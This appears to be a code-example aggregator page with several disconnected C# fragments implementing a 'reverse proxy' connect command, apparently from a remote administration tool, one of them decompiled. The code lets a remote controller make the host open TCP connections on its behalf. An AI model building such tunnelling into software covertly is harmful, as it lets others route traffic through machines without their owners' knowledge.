public void ConnectReverseProxy(ReverseProxyConnect command)
 {
     lock (_proxyClientsLock)
     {
         _proxyClients.Add(new ReverseProxyClient(command, this));
     }
 }
Exemplo n.º 2
0
 // Token: 0x06000567 RID: 1383 RVA: 0x00012BC8 File Offset: 0x00010DC8
 public ReverseProxyClient(ReverseProxyConnect command, Client client)
 {
     this.ConnectionId = command.ConnectionId;
     this.Target       = command.Target;
     this.Port         = command.Port;
     this.Client       = client;
     this.Handle       = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
     this.Handle.BeginConnect(command.Target, command.Port, new AsyncCallback(this.Handle_Connect), null);
 }
        private void ReverseProxyClientOnConnect(object sender, ReverseProxyConnect reverseProxyConnect)
        {
            var connectData = Serializer.FastSerialize(reverseProxyConnect);

            ConnectionInfo.UnsafeSendCommand(this, connectData.Length + 1, writer =>
            {
                writer.Write((byte)ReverseProxyCommunication.Connect);
                writer.Write(connectData);
            });
        }
Exemplo n.º 4
0
        public ReverseProxyClient(ReverseProxyConnect command, Client client)
        {
            this.ConnectionId = command.ConnectionId;
            this.Target       = command.Target;
            this.Port         = command.Port;
            this.Client       = client;
            this.Handle       = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            //Non-Blocking connect, so there is no need for a extra thread to create
            this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null);
        }
Exemplo n.º 5
0
 private void Execute(ISender client, ReverseProxyConnect message)
 {
     _client.ConnectReverseProxy(message);
 }